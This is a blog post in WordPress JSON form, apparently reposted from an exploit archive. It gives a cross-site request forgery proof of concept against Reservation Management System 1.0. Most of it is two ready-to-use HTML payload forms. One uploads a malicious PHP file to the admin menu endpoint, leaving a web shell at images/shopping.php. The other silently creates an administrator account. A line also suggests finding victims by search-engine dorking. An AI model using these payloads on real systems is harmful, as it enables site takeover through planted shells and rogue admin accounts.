{"id":59729,"date":"2024-09-16T17:59:42","date_gmt":"2024-09-16T14:59:42","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181532\/rms10-xsrf.txt"},"modified":"2024-09-16T17:59:42","modified_gmt":"2024-09-16T14:59:42","slug":"reservation-management-system-1-0-cross-site-request-forgery","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/reservation-management-system-1-0-cross-site-request-forgery\/","title":{"rendered":"Reservation Management System 1.0 Cross Site Request Forgery"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : Reservation Management System 1.0 CSRF Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 129.0.1 (64 bits) |<br \/>| # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/reservation.zip |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] The following html code uploads a executable malicious file remotely .<\/p>\n[+] Line 8 : Set your target url<\/p>\n[+] save payload as poc.html <\/p>\n[+] payload : <\/p>\n<p>&lt;div class=&#8221;modal-content&#8221;&gt;<br \/>&lt;div class=&#8221;modal-header&#8221;&gt;<br \/>&lt;button type=&#8221;button&#8221; class=&#8221;close&#8221; data-dismiss=&#8221;modal&#8221; aria-hidden=&#8221;true&#8221;&gt;\u00d7&lt;\/button&gt;<br \/>&lt;h4 class=&#8221;modal-title&#8221;&gt;Add New Menu&lt;\/h4&gt;<br \/>&lt;\/div&gt;<br \/>&lt;div class=&#8221;modal-body&#8221;&gt;<br \/>&lt;!&#8211;start form&#8211;&gt;<br \/>&lt;form class=&#8221;form-horizontal&#8221; method=&#8221;post&#8221; action=&#8221;http:\/\/127.0.0.1\/reservation\/admin\/menu_save.php&#8221; enctype=&#8221;multipart\/form-data&#8221;&gt;<br \/>&lt;!&#8211; Title &#8211;&gt;<br \/>&lt;div class=&#8221;form-group&#8221;&gt;<br \/>&lt;label class=&#8221;control-label col-lg-2&#8243; for=&#8221;title&#8221;&gt;Menu Name&lt;\/label&gt;<br \/>&lt;div class=&#8221;col-lg-8&#8243;&gt; <br \/>&lt;input type=&#8221;text&#8221; class=&#8221;form-control&#8221; name=&#8221;menu&#8221; id=&#8221;title&#8221; placeholder=&#8221;Menu Name&#8221; required=&#8221;&#8221;&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/div&gt; <br \/>&lt;!&#8211; Title &#8211;&gt;<br \/>&lt;div class=&#8221;form-group&#8221;&gt;<br \/>&lt;label class=&#8221;control-label col-lg-2&#8243; for=&#8221;title&#8221;&gt;Category&lt;\/label&gt;<br \/>&lt;div class=&#8221;col-lg-8&#8243;&gt; <br \/>&lt;select class=&#8221;form-control select2&#8243; id=&#8221;exampleSelect1&#8243; name=&#8221;cat&#8221; required=&#8221;&#8221;&gt;<br \/>&lt;option value=&#8221;9&#8243;&gt;Dessert&lt;\/option&gt;<br \/>&lt;option value=&#8221;6&#8243;&gt;Main Course&lt;\/option&gt;<br \/>&lt;option value=&#8221;7&#8243;&gt;Pasta&lt;\/option&gt;<br \/>&lt;option value=&#8221;10&#8243;&gt;Rice&lt;\/option&gt;<br \/>&lt;\/select&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/div&gt; <br \/>&lt;!&#8211; Title &#8211;&gt;<br \/>&lt;div class=&#8221;form-group&#8221;&gt;<br \/>&lt;label class=&#8221;control-label col-lg-2&#8243; for=&#8221;title&#8221;&gt;Subcategory&lt;\/label&gt;<br \/>&lt;div class=&#8221;col-lg-8&#8243;&gt; <br \/>&lt;select class=&#8221;form-control select2&#8243; id=&#8221;exampleSelect1&#8243; name=&#8221;subcat&#8221;&gt;<br \/>&lt;option&gt;Drinks&lt;\/option&gt;<br \/>&lt;option&gt;Lunch and Dinner&lt;\/option&gt;<br \/>&lt;option&gt;Mirienda&lt;\/option&gt;<br \/>&lt;option&gt;Non Combo Meal&lt;\/option&gt;<br \/>&lt;\/select&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/div&gt; <br \/>&lt;!&#8211; Title &#8211;&gt;<br \/>&lt;div class=&#8221;form-group&#8221;&gt;<br \/>&lt;label class=&#8221;control-label col-lg-2&#8243; for=&#8221;title&#8221;&gt;Description&lt;\/label&gt;<br \/>&lt;div class=&#8221;col-lg-8&#8243;&gt; <br \/>&lt;textarea class=&#8221;form-control&#8221; name=&#8221;desc&#8221; id=&#8221;title&#8221; placeholder=&#8221;Description&#8221; required=&#8221;&#8221;&gt;&lt;\/textarea&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/div&gt; <br \/>&lt;!&#8211; Title &#8211;&gt;<br \/>&lt;div class=&#8221;form-group&#8221;&gt;<br \/>&lt;label class=&#8221;control-label col-lg-2&#8243; for=&#8221;title&#8221;&gt;Price&lt;\/label&gt;<br \/>&lt;div class=&#8221;col-lg-8&#8243;&gt; <br \/>&lt;input type=&#8221;text&#8221; class=&#8221;form-control&#8221; name=&#8221;price&#8221; id=&#8221;title&#8221; placeholder=&#8221;Price&#8221; required=&#8221;&#8221;&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/div&gt; <br \/>&lt;!&#8211; Title &#8211;&gt;<br \/>&lt;div class=&#8221;form-group&#8221;&gt;<br \/>&lt;label class=&#8221;control-label col-lg-2&#8243; for=&#8221;title&#8221;&gt;Image&lt;\/label&gt;<br \/>&lt;div class=&#8221;col-lg-8&#8243;&gt; <br \/>&lt;input type=&#8221;file&#8221; class=&#8221;form-control&#8221; name=&#8221;image&#8221; id=&#8221;title&#8221;&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/div&gt; <\/p>\n<p>&lt;!&#8211; Buttons &#8211;&gt;<br \/>&lt;div class=&#8221;form-group&#8221;&gt;<br \/>&lt;!&#8211; Buttons &#8211;&gt;<br \/>&lt;div class=&#8221;col-lg-offset-2 col-lg-6&#8243;&gt;<br \/>&lt;button type=&#8221;submit&#8221; class=&#8221;btn btn-sm btn-primary&#8221;&gt;Save&lt;\/button&gt;<br \/>&lt;button type=&#8221;button&#8221; class=&#8221;btn btn-default&#8221; data-dismiss=&#8221;modal&#8221; aria-hidden=&#8221;true&#8221;&gt;Close&lt;\/button&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/form&gt;<br \/>&lt;!&#8211;end form&#8211;&gt;<br \/>&lt;\/div&gt;<\/p>\n<p>&lt;\/div&gt;<\/p>\n[+] Ev!L : http:\/\/127.0.0.1\/reservation\/images\/shopping.php<\/p>\n<p>&#8212;&#8212;&#8212;&#8211;[+] Part 02 Add Admin [+]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n[+] Line 8 : Set your target url<\/p>\n[+] save payload as poc.html <\/p>\n[+] payload : <\/p>\n<p>&lt;div class=&#8221;modal-content&#8221;&gt;<br \/>&lt;div class=&#8221;modal-header&#8221;&gt;<br \/>&lt;button type=&#8221;button&#8221; class=&#8221;close&#8221; data-dismiss=&#8221;modal&#8221; aria-hidden=&#8221;true&#8221;&gt;\u00d7&lt;\/button&gt;<br \/>&lt;h4 class=&#8221;modal-title&#8221;&gt;Add New User&lt;\/h4&gt;<br \/>&lt;\/div&gt;<br \/>&lt;div class=&#8221;modal-body&#8221;&gt;<br \/>&lt;!&#8211;start form&#8211;&gt;<br \/>&lt;form class=&#8221;form-horizontal&#8221; method=&#8221;post&#8221; action=&#8221;http:\/\/127.0.0.1\/reservation\/admin\/user_save.php&#8221;&gt;<br \/>&lt;!&#8211; Title &#8211;&gt;<br \/>&lt;div class=&#8221;form-group&#8221;&gt;<br \/>&lt;label class=&#8221;control-label col-lg-2&#8243; for=&#8221;title&#8221;&gt;Full Name&lt;\/label&gt;<br \/>&lt;div class=&#8221;col-lg-8&#8243;&gt; <br \/>&lt;input type=&#8221;text&#8221; class=&#8221;form-control&#8221; name=&#8221;name&#8221; id=&#8221;title&#8221; placeholder=&#8221;Write Full Name of User&#8221; required=&#8221;&#8221;&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/div&gt; <br \/>&lt;!&#8211; Title &#8211;&gt;<br \/>&lt;div class=&#8221;form-group&#8221;&gt;<br \/>&lt;label class=&#8221;control-label col-lg-2&#8243; for=&#8221;username&#8221;&gt;Username&lt;\/label&gt;<br \/>&lt;div class=&#8221;col-lg-8&#8243;&gt; <br \/>&lt;input type=&#8221;text&#8221; class=&#8221;form-control&#8221; name=&#8221;username&#8221; value=&#8221;chimney_admin&#8221; placeholder=&#8221;Write Username&#8221; required=&#8221;&#8221;&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/div&gt; <br \/>&lt;!&#8211; Title &#8211;&gt;<br \/>&lt;div class=&#8221;form-group&#8221;&gt;<br \/>&lt;label class=&#8221;control-label col-lg-2&#8243; for=&#8221;password&#8221;&gt;Password&lt;\/label&gt;<br \/>&lt;div class=&#8221;col-lg-8&#8243;&gt; <br \/>&lt;input type=&#8221;password&#8221; class=&#8221;form-control&#8221; name=&#8221;password&#8221; id=&#8221;password&#8221; placeholder=&#8221;Write password&#8221; required=&#8221;&#8221;&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/div&gt; <\/p>\n<p>&lt;!&#8211; Buttons &#8211;&gt;<br \/>&lt;div class=&#8221;form-group&#8221;&gt;<br \/>&lt;!&#8211; Buttons &#8211;&gt;<br \/>&lt;div class=&#8221;col-lg-offset-2 col-lg-6&#8243;&gt;<br \/>&lt;button type=&#8221;submit&#8221; class=&#8221;btn btn-sm btn-primary&#8221;&gt;Save&lt;\/button&gt;<br \/>&lt;button type=&#8221;button&#8221; class=&#8221;btn btn-default&#8221; data-dismiss=&#8221;modal&#8221; aria-hidden=&#8221;true&#8221;&gt;Close&lt;\/button&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/form&gt;<br \/>&lt;!&#8211;end form&#8211;&gt;<br \/>&lt;\/div&gt;<\/p>\n<p>&lt;\/div&gt;<br \/>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : Reservation Management System 1.0 CSRF Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 129.0.1 (64 bits) || # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/reservation.zip |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] The following html code uploads a executable &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59729","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59729","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59729"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59729\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59729"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59729"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59729"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}